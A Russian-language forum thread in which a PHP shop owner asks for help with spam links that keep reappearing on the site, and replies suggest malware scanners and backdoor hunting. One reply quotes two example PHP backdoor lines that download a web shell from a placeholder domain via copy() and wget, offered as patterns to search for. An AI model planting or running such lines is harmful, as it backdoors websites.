Jump to content

Shell атака на сайт .. есть специалисты ?


Recommended Posts

Приветик Ребятки .. столкнулся тут с такой бедой что на один из моих проектов вешают как то внешние ссылки , файл с ссылками удаляю чуть ли ни каждый день , причем удалял в разных местах кусок кода для подключения их .. но они появляются каждый день .. смс проекта - php SHOP есть идеи может кто сталкивался .. 

 

Варианты по смене паролей, и блокировки админки по IP непроканывают .. 

Link to post
Share on other sites

Приветик Ребятки .. столкнулся тут с такой бедой что на один из моих проектов вешают как то внешние ссылки , файл с ссылками удаляю чуть ли ни каждый день , причем удалял в разных местах кусок кода для подключения их .. но они появляются каждый день .. смс проекта - php SHOP есть идеи может кто сталкивался .. 

 

Варианты по смене паролей, и блокировки админки по IP непроканывают .. 

наверное трастик балуется и на твоем сайте))

Link to post
Share on other sites

программа ai-bolit заливаешь на сайт, включаешь и она ищет все подозрительные скрипты и указывает место где они, потом ручками удаляешь все скрипты которые тебе не понравятся, меняешь пароли на админку и фтп. 

Link to post
Share on other sites

Скорей всего в одном из php файлов прописан бэкдор, через который шелл восстанавливается, попробуйте найти примерно такую строку 

<?php copy('http://domen.ru/shell.txt','shell.php');exit; ?>

или

<?php system(wget http://domen.ru/shell.txt -O /home/domen.ru/public_html/);exit; ?>
Link to post
Share on other sites

Закажите для теста на 5 дней хостинг ukraine.com.ua там есть скан всего этого дела. Или можете скинуть подозрительные файлы попробую найти

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...